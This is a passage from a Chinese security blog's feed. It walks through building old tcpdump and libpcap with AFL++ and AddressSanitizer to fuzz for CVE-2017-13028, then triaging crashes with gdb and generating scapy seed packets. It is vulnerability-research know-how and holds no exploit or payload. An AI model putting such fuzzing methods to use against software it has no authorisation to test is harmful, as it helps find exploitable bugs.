            cmd = f&quot;{args.bin} {args.args.format(sample)}&quot;
        else:
            cmd = f&quot;{args.bin} {args.args} {sample}&quot;

        print(f&quot;[{i+1}/{len(samples)}] Running: {cmd}&quot;, end=&quot;\r&quot;)
        run_cmd(cmd, env=env)

    print(&quot;\nMerging profile data...&quot;)
    profdata_file = &quot;merged.profdata&quot;
    profraw_pattern = os.path.join(args.profraw_dir, &quot;*.profraw&quot;)
    merge_cmd = f&quot;llvm-profdata merge -sparse {profraw_pattern} -o {profdata_file}&quot;
    rc, stdout, stderr = run_cmd(merge_cmd)

    if rc != 0:
        print(f&quot;Error merging data: {stderr}&quot;)
        return

    print(f&quot;Generating HTML report in {args.out}...&quot;)
    report_cmd = f&quot;llvm-cov show {args.bin} -instr-profile={profdata_file} -format=html -output-dir={args.out}&quot;
    rc, stdout, stderr = run_cmd(report_cmd)

    if rc != 0:
        print(f&quot;Error generating report: {stderr}&quot;)
        return

    # Also generate a summary report
    print(&quot;\nCoverage Summary:&quot;)
    summary_cmd = f&quot;llvm-cov report {args.bin} -instr-profile={profdata_file}&quot;
    rc, stdout, stderr = run_cmd(summary_cmd)
    print(stdout)

    print(f&quot;Report generated successfully in directory: {args.out}&quot;)
    print(f&quot;You can view it by opening {os.path.join(args.out, &apos;index.html&apos;)} in a browser.&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;./gen_coverage.py --bin ./bin/tiffinfo --args &quot;-Dcjrsw {}&quot; --samples ../libtiff-workshop/outs/asan/queue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后的 web 报告如下：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axpshav0o.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;出于进度优先的考虑，之后的（包括前面的 libtiff）chall 我都没有深入分析它们的漏洞成因，想着早点把 fuzz 基本要点都玩明白后去自己写一个结合了 AI 的 fuzzer 。还有一个原因是 Fuzzing 101 的可复现性不怎么高，能不能跑出和 CVE 描述对应的 crash 完全是看运气，所以意义不大，没必要浪费时间去磨一个一模一样的 crash 样本。&lt;/p&gt;
</content:encoded></item><item><title>CVE-2017-13028: TCPdump</title><link>https://cubeyond.net/posts/fuzz/tcpdump-cve-2017-13028/</link><guid isPermaLink="true">https://cubeyond.net/posts/fuzz/tcpdump-cve-2017-13028/</guid><description>Out-of-bounds Read via a BOOTP packet (Bootstrap Protocol).</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import CveCard from &quot;@components/misc/CveCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;CVE-2017-13028&lt;/h1&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3k8jydon92.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;&amp;lt;CveCard id=&quot;CVE-2017-13028&quot; /&amp;gt;&lt;/p&gt;
&lt;h1&gt;Compile&lt;/h1&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/the-tcpdump-group/tcpdump.git &amp;amp;&amp;amp; cd tcpdump
git checkout tcpdump-4.9.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;阅读 README 我们可知，要编译 TCPdump 需要先编译 libpcap 。由于 TCPdump-4.9.2 的最后一次提交是九年前的，因此对应的最匹配的 libpcap 应该是十年前的 1.8.1 版本。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/the-tcpdump-group/libpcap.git &amp;amp;&amp;amp; cd libpcap
git checkout libpcap-1.8.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build&lt;/h2&gt;
&lt;p&gt;根据 chall 的说明，我们需要开启 ASAN 来 fuzz，故配置的时候需要加入 &lt;code&gt;AFL_USE_ASAN=1&lt;/code&gt; 变量。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CC=clang CXX=clang++ CFLAGS=&quot;-O0 -g -fno-inline -fno-builtin -fno-omit-frame-pointer&quot; CXXFLAGS=&quot;$CFLAGS&quot; ./configure --enable-shared=no --prefix=&quot;$(realpath ../workshop/libpcap-debug)&quot; --disable-bluetooth --disable-dbus
make -j`nproc` &amp;amp;&amp;amp; make install
make clean

AFL_USE_ASAN=1 CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --enable-shared=no --prefix=&quot;$(realpath ../workshop/libpcap-fuzz)&quot; --disable-bluetooth --disable-dbus
AFL_USE_ASAN=1 make -j`nproc` &amp;amp;&amp;amp; AFL_USE_ASAN=1 make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来编译 tcpdump，遇到如下报错：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8dxeuuav94.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;原因是它忽略了我们传入的 &lt;code&gt;LDFLAGS&lt;/code&gt; 和 &lt;code&gt;CPPFLAGS&lt;/code&gt;，强制要求 libpcap 的目录和 tcpdump 在同级，且名字固定为 libpcap 。解决方法是使用 &lt;code&gt;--with-system-libpcap&lt;/code&gt; 参数。虽然我们的 libpcap 是安装到自定义路径，而非系统级安装的，但是用了这个参数后，如果系统目录下没找到 libpcap，它就会去我们传入的环境变量里找。&lt;/p&gt;
&lt;p&gt;然后又遇到了新的问题：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8l0mqa6035.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;我们可以通过 &lt;code&gt;config.log&lt;/code&gt; 查看详细报错信息：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51ep0h3ypu.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;可见报错原因是 ISO C99 之后不再支持隐式声明导致的。解决方法是通过 &lt;code&gt;-Wno-error=implicit-int&lt;/code&gt; 告诉编译器将 &lt;code&gt;implicit-int&lt;/code&gt; 的错误当成 warning 处理，而非 error 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CC=clang \
CXX=clang++ \
CFLAGS=&quot;-O0 -g -fno-inline -fno-builtin -fno-omit-frame-pointer \
        -Wno-error=implicit-int&quot; \
CXXFLAGS=&quot;$CFLAGS&quot; \
LDFLAGS=&quot;-L$(realpath ../workshop/libpcap-debug/lib)&quot; \
CPPFLAGS=&quot;-I$(realpath ../workshop/libpcap-debug/include)&quot; \
./configure \
  --prefix=&quot;$(realpath ../workshop/tcpdump-debug)&quot; \
  --with-system-libpcap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在 configure 阶段是通过了，make 一下，又是一堆报错：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2dp8q4te51.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3yezplz44z.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;大概翻了一下，错误种类还不少，一个个解决吧。&lt;/p&gt;
&lt;p&gt;首先是部分文件报 &lt;code&gt;incomplete element type &apos;const struct tok&apos;&lt;/code&gt;。这是因为编译器只看到了声明没有看到定义，不知道这个结构体的具体成员有什么，我们只需要在每个报这样错误的文件中加入完整定义即可。&lt;/p&gt;
&lt;p&gt;先 grep 一下，可知这个 &lt;code&gt;struct tok&lt;/code&gt; 定义在 &lt;code&gt;netdissect.h&lt;/code&gt; 中：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8vngkm6c1t.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;那我们直接在报错的文件 &lt;code&gt;l2vpn.h&lt;/code&gt; 中加入 &lt;code&gt;#include &quot;netdissect.h&quot;&lt;/code&gt; 就好了。&lt;/p&gt;
&lt;p&gt;接下来是有些文件报 &lt;code&gt;unknown type name &apos;uint32_t&apos;&lt;/code&gt; 这种错，直接在报错的那个文件里加入 &lt;code&gt;#include &amp;lt;stdint.h&amp;gt;&lt;/code&gt; 即可。&lt;/p&gt;
&lt;p&gt;对于 &lt;code&gt;incomplete type &apos;struct in6_addr&apos;&lt;/code&gt;，我们只要导入 &lt;code&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;/code&gt; 就好了。&lt;/p&gt;
&lt;p&gt;然后是 &lt;code&gt;redefinition of &apos;UNALIGNED&apos; with a different type: &apos;struct ip6_ext&apos; vs &apos;struct ip6_hdr&apos;&lt;/code&gt; 这种重定义，先 grep 看看 &lt;code&gt;UNALIGNED&lt;/code&gt; 是个啥：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6bhm80ia16.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;可见它就是一个结构体属性宏，同时默认声明为 &lt;code&gt;#define UNALIGNED __attribute__((packed))&lt;/code&gt;，既然是重定义，解决方法也很简单，我们在对应的文件顶部加入如下代码即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#ifndef UNALIGNED
#define UNALIGNED __attribute__((packed))
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后 &lt;code&gt;unknown type name &apos;netdissect_options&apos;&lt;/code&gt; 也是一样，找定义它的头文件，然后在缺失的头文件中导入即可，依然是 &lt;code&gt;#include &quot;netdissect.h&quot;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8l0mric5cc.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;这样一路 patch 下来，就解决的差不多了，直接编译；&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make clean &amp;amp;&amp;amp; make -j`nproc` &amp;amp;&amp;amp; make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.icnyqjr8i.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;至于这个奇怪的 libpcap 1.9.0，是因为它 VERSION 文件里写的 1.9.0，但 release tag 打的确实是 1.8.1，不重要。&lt;/p&gt;
&lt;p&gt;总结：修这种头文件风暴，有的时候就像打地鼠一样，修好一个蹦出来 19 个都是常有的事……边修边骂好吧（&lt;/p&gt;
&lt;p&gt;然后编译一份用来 fuzz 的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make clean
AFL_USE_ASAN=1 \
CC=afl-clang-lto \
CXX=afl-clang-lto++ \
CFLAGS=&quot;-Wno-error=implicit-int&quot; \
CXXFLAGS=&quot;$CFLAGS&quot; \
LDFLAGS=&quot;-L$(realpath ../workshop/libpcap-fuzz/lib)&quot; \
CPPFLAGS=&quot;-I$(realpath ../workshop/libpcap-fuzz/include)&quot; \
./configure \
  --prefix=&quot;$(realpath ../workshop/tcpdump-fuzz)&quot; \
  --with-system-libpcap
AFL_USE_ASAN=1 make -j`nproc` &amp;amp;&amp;amp; AFL_USE_ASAN=1 make install
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Samples&lt;/h1&gt;
&lt;p&gt;&amp;lt;s&amp;gt;要准备报文样本不容易，也很容易。&amp;lt;/s&amp;gt;
不容易在，我们不可能自己去用它抓包弄点报文，也不确定 AI
能不能生成（应该可以），容易在，tcpdump 提供的测试用例里有各种各样的报文：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.54yazi8rj1.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;这里我直接用它提供的测试报文作为初始语料库。&lt;/p&gt;
&lt;p&gt;此外，既然都是抓包工具，那大名鼎鼎的 wireshark 是不是也提供了这种测试报文？&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok8pbi3ix.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;确实有，不过由于 tcpdump 的测试报文库已经很丰富了，如果我 fuzz 不出来再去用 wireshark 的。&lt;/p&gt;
&lt;h1&gt;Fuzzing&lt;/h1&gt;
&lt;p&gt;开始之前先确定一下怎么用，随便传一个测试数据包看看：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2a5mtqzsqa.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;执行需要很长时间，所以我们 fuzz 的时候需要手动添加 &lt;code&gt;-t 1000+&lt;/code&gt; 将超时时间增加到一秒钟，&lt;code&gt;+&lt;/code&gt; 表示让 afl++ 根据平均时间动态缩放这个 timeout 值，但是始终保持在我们设定的上限之内，&lt;code&gt;AFL_TMPDIR=/dev/shm&lt;/code&gt; 是为了保护我们的硬盘寿命，而 &lt;code&gt;-m none&lt;/code&gt; 则是因为 ASAN 会占用大量内存，虽然有 OOM 的风险，但是建议开启。当然也有其它解决方案，比如：&lt;a href=&quot;https://aflplus.plus/docs/notes_for_asan/&quot;&gt;Notes for using ASAN with afl-fuzz&lt;/a&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ASAN_OPTIONS=&quot;detect_leaks=0:abort_on_error=1:symbolize=0&quot; AFL_TMPDIR=/dev/shm afl-fuzz -i corpus -o outs -s 1337 -t 1000+ -m none -- ./tcpdump-fuzz/sbin/tcpdump -vvvvXX -ee -nn -r @@
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fuzzer 开始工作，我们也该去打游戏了，让它在后台慢慢跑吧～&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8dxew7yflq.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;结果跑了半天毛都没出，受不了了，直接看官方题解，官方题解用的是 1.8.0，虽然 1.8.1 显然是更接近的版本，不懂啊，不懂，但是不妨碍我试试……也有可能版本号是以 &lt;code&gt;VERSION&lt;/code&gt; 文件中定义的为准？或许是这个原因吧，不管了……&lt;/p&gt;
&lt;p&gt;把之前的都删了重头来过，这里我只写编译 libpcap 1.8.0 的指令，其它的不变。&lt;/p&gt;
&lt;p&gt;configure 后 make 依旧遇到很多报错，这次我不打算禁用 dbus 和 bluetooth 了，手动 patch 一下好了。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2dp8rlw5cg.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;查看报错信息，发现都是因为不知道 &lt;code&gt;pcap_t&lt;/code&gt; 和 &lt;code&gt;pcap_if_t&lt;/code&gt; 导致的，并且 grep 发现它们定义在同一个文件中，那我们在每一个报错的文件头加入 &lt;code&gt;#include &quot;pcap.h&quot;&lt;/code&gt; 就行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CC=clang CXX=clang++ CFLAGS=&quot;-O0 -g -fno-inline -fno-builtin -fno-omit-frame-pointer&quot; CXXFLAGS=&quot;$CFLAGS&quot; ./configure --enable-shared=no --prefix=&quot;$(realpath ../workshop/libpcap-debug)&quot;
make -j`nproc` &amp;amp;&amp;amp; make install
make clean

AFL_USE_ASAN=1 CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --enable-shared=no --prefix=&quot;$(realpath ../workshop/libpcap-fuzz)&quot;
AFL_USE_ASAN=1 make -j`nproc` &amp;amp;&amp;amp; AFL_USE_ASAN=1 make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译完 libpcap 后开开心心去编译 tcpdump，本以为会很顺遂，然后一 make：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2rvoihg5lv.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;我还能说什么呢？还是得把 dbus 禁用啊，还得再重新编译一遍 libpcap，我……草……&lt;/p&gt;
&lt;p&gt;还能咋办，加上 &lt;code&gt;--disable-dbus&lt;/code&gt; 再来一遍呗！/骂骂咧咧&lt;/p&gt;
&lt;p&gt;结果呢？结果我发现只关 dbus 不够，还要解决一下 libusb 和 canusb……&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AFL_USE_ASAN=1 CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --enable-shared=no --prefix=&quot;$(realpath ../workshop/libpcap-fuzz)&quot; --disable-dbus --disable-usb --disable-canusb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在总算是解决了，让它慢慢跑去吧～祈祷可以跑出点 crashes 来。&lt;/p&gt;
&lt;p&gt;难过了，早上起来一看，11 个小时，毛都没出，然后又过了一个早八，依旧无果。非但无果，还又发现了一些新的路径……合着我 fuzz 一晚上一直在探路啊。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8hh0v5cl3c.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;后来，我发现了俩个傻逼……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3rbrwys6zk.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;解决方法是除了 configure 的时候需要 &lt;code&gt;AFL_USE_ASAN=1&lt;/code&gt; 外，make 的时候也要。&lt;/p&gt;
&lt;p&gt;现在这样才算是编译进去了，之前不显示 &lt;code&gt;Compiled with AddressSanitizer/CLang.&lt;/code&gt;……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70avtm4224.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;然后继续挂机，看看这次能不能出点货来。&lt;/p&gt;
&lt;p&gt;历经两个小时，终于出现 crash 了！&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1lcdbc3nhh.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;p&gt;分析之前先把 debug 版本编译出来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CC=clang \
CXX=clang++ \
CFLAGS=&quot;-O0 -g -fno-inline -fno-builtin -fno-omit-frame-pointer \
        -fsanitize=address&quot; \
CXXFLAGS=&quot;$CFLAGS&quot; \
./configure \
  --enable-shared=no \
  --prefix=&quot;$(realpath ../workshop/libpcap-debug)&quot; \
  --disable-dbus
  --disable-usb \
  --disable-canusb

CC=clang \
CXX=clang++ \
CFLAGS=&quot;-O0 -g -fno-inline -fno-builtin -fno-omit-frame-pointer \
        -Wno-error=implicit-int \
        -fsanitize=address&quot; \
CXXFLAGS=&quot;$CFLAGS&quot; \
LDFLAGS=&quot;-L$(realpath ../workshop/libpcap-debug/lib)&quot; \
CPPFLAGS=&quot;-I$(realpath ../workshop/libpcap-debug/include)&quot; \
./configure \
  --prefix=&quot;$(realpath ../workshop/tcpdump-debug)&quot; \
  --with-system-libpcap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后看看第一个 crash：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkjg78n3f.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;很遗憾，并不是我们要复现的那个 CVE，继续挂机……&lt;/p&gt;
&lt;p&gt;又是跑了一晚上加一个早八的时间，一晚上跑出来六百多个重复的 crashes，早上关掉去重后继续跑，跑出来十个：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.szhuojmjl.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;但是用 gdb 这么一查，并没有我们要复现的那个 CVE 的 crash……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2a5mwfryqj.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;检测脚本如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env bash

TARGET=&quot;./tcpdump-debug/sbin/tcpdump&quot;
CRASH_DIR=&quot;./outs_v3/default/crashes&quot;
OUTPUT_LOG=&quot;crash_reports.log&quot;

&amp;gt;&quot;$OUTPUT_LOG&quot;

echo &quot;[+] Analysing crashes in $CRASH_DIR...&quot;

export ASAN_OPTIONS=&quot;detect_leaks=0:abort_on_error=1:symbolize=1&quot;

for crash_file in &quot;$CRASH_DIR&quot;/id:*; do
  [ -e &quot;$crash_file&quot; ] || continue

  echo &quot;--------------------------------------------------&quot; &amp;gt;&amp;gt;&quot;$OUTPUT_LOG&quot;
  echo &quot;File: $(basename &quot;$crash_file&quot;)&quot; &amp;gt;&amp;gt;&quot;$OUTPUT_LOG&quot;

  gdb --batch --quiet \
    --ex &quot;run&quot; \
    --ex &quot;bt&quot; \
    --ex &quot;quit&quot; \
    --args &quot;$TARGET&quot; -vvvvXX -ee -nn -r &quot;$crash_file&quot; &amp;gt;&amp;gt;&quot;$OUTPUT_LOG&quot; 2&amp;gt;&amp;amp;1

  echo -e &quot;\n&quot; &amp;gt;&amp;gt;&quot;$OUTPUT_LOG&quot;
done

echo &quot;[+] Done! Result in: $OUTPUT_LOG&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有点烦，直接让 AI 再生成几个样本一起加进去：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import os
import binascii
from scapy.all import *

# 加载扩展协议
load_contrib(&quot;bgp&quot;)
load_contrib(&quot;ospf&quot;)

# 创建语料目录
CORPUS_DIR = &quot;corpus&quot;
if not os.path.exists(CORPUS_DIR):
    os.makedirs(CORPUS_DIR)

def save_pcap(name, pkts):
    wrpcap(os.path.join(CORPUS_DIR, f&quot;{name}.pcap&quot;), pkts)

def generate_corpus():
    print(&quot;正在生成初始语料...&quot;)

    # 1. 基础以太网 + IPv4 + TCP (带有各种标志)
    save_pcap(&quot;tcp_flags&quot;, [
        Ether()/IP(dst=&quot;1.2.3.4&quot;)/TCP(dport=80, flags=&quot;S&quot;),
        Ether()/IP(dst=&quot;1.2.3.4&quot;)/TCP(dport=80, flags=&quot;PA&quot;),
        Ether()/IP(dst=&quot;1.2.3.4&quot;)/TCP(dport=80, flags=&quot;F&quot;),
        Ether()/IP(dst=&quot;1.2.3.4&quot;)/TCP(dport=80, flags=&quot;R&quot;),
    ])

    # 2. UDP + DNS 查询
    save_pcap(&quot;dns_query&quot;, [
        Ether()/IP(dst=&quot;8.8.8.8&quot;)/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname=&quot;www.google.com&quot;))
    ])

    # 3. ICMP (Ping, Unreachable)
    save_pcap(&quot;icmp&quot;, [
        Ether()/IP(dst=&quot;1.2.3.4&quot;)/ICMP(type=8),  # Echo Request
        Ether()/IP(dst=&quot;1.2.3.4&quot;)/ICMP(type=3, code=3),  # Port Unreachable
    ])

    # 4. IPv6 基础数据包
    save_pcap(&quot;ipv6_base&quot;, [
        Ether()/IPv6(dst=&quot;2001:4860:4860::8888&quot;)/TCP(dport=443),
        Ether()/IPv6(dst=&quot;2001:4860:4860::8888&quot;)/ICMPv6EchoRequest(),
    ])

    # 5. ARP 请求与应答
    save_pcap(&quot;arp&quot;, [
        Ether(dst=&quot;ff:ff:ff:ff:ff:ff&quot;)/ARP(pdst=&quot;192.168.1.1&quot;),
        Ether()/ARP(op=2, psrc=&quot;192.168.1.1&quot;, hwsrc=&quot;00:11:22:33:44:55&quot;)
    ])

    # 6. HTTP 请求 (简单应用层负载)
    http_payload = &quot;GET / HTTP/1.1\r\nHost: example.com\r\n\r\n&quot;
    save_pcap(&quot;http_get&quot;, [
        Ether()/IP(dst=&quot;1.2.3.4&quot;)/TCP(dport=80, flags=&quot;PA&quot;)/Raw(load=http_payload)
    ])

    # 7. 带有选项的 IP/TCP (测试解析器对选项的处理)
    save_pcap(&quot;options&quot;, [
        Ether()/IP(dst=&quot;1.2.3.4&quot;, options=[IPOption(b&apos;\x83\x03\x10&apos;)])/TCP(dport=80),
        Ether()/IP(dst=&quot;1.2.3.4&quot;)/TCP(dport=80, options=[(&apos;MSS&apos;, 1460), (&apos;NOP&apos;, None), (&apos;WScale&apos;, 7)])
    ])

    # 8. 分片包 (Fragmentation)
    payload = &quot;A&quot; * 100
    pkts = fragment(IP(dst=&quot;1.2.3.4&quot;)/UDP(dport=123)/payload, fragsize=40)
    save_pcap(&quot;fragments&quot;, pkts)

    # 9. BOOTP &amp;amp; DHCP (丰富样本)
    # 9.1 基础 BOOTP 请求与应答
    save_pcap(&quot;bootp_base&quot;, [
        Ether(dst=&quot;ff:ff:ff:ff:ff:ff&quot;)/IP(src=&quot;0.0.0.0&quot;, dst=&quot;255.255.255.255&quot;)/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=&quot;00:11:22:33:44:55&quot;),
        Ether(src=&quot;00:11:22:33:44:55&quot;)/IP(src=&quot;192.168.1.1&quot;, dst=&quot;192.168.1.100&quot;)/UDP(sport=67, dport=68)/BOOTP(op=2, yiaddr=&quot;192.168.1.100&quot;, siaddr=&quot;192.168.1.1&quot;, chaddr=&quot;00:11:22:33:44:55&quot;)
    ])

    # 9.2 DHCP 完整交互 (Discover, Offer, Request, Ack)
    chaddr = &quot;00:de:ad:be:ef:00&quot;
    transaction_id = 0x12345678
    save_pcap(&quot;dhcp_full_flow&quot;, [
        # Discover
        Ether(dst=&quot;ff:ff:ff:ff:ff:ff&quot;)/IP(src=&quot;0.0.0.0&quot;, dst=&quot;255.255.255.255&quot;)/UDP(sport=68, dport=67)/BOOTP(xid=transaction_id, chaddr=chaddr)/DHCP(options=[(&quot;message-type&quot;, &quot;discover&quot;), &quot;end&quot;]),
        # Offer
        Ether(dst=chaddr)/IP(src=&quot;192.168.1.1&quot;, dst=&quot;192.168.1.100&quot;)/UDP(sport=67, dport=68)/BOOTP(op=2, xid=transaction_id, yiaddr=&quot;192.168.1.100&quot;, siaddr=&quot;192.168.1.1&quot;, chaddr=chaddr)/DHCP(options=[(&quot;message-type&quot;, &quot;offer&quot;), (&quot;server_id&quot;, &quot;192.168.1.1&quot;), (&quot;lease_time&quot;, 86400), &quot;end&quot;]),
        # Request
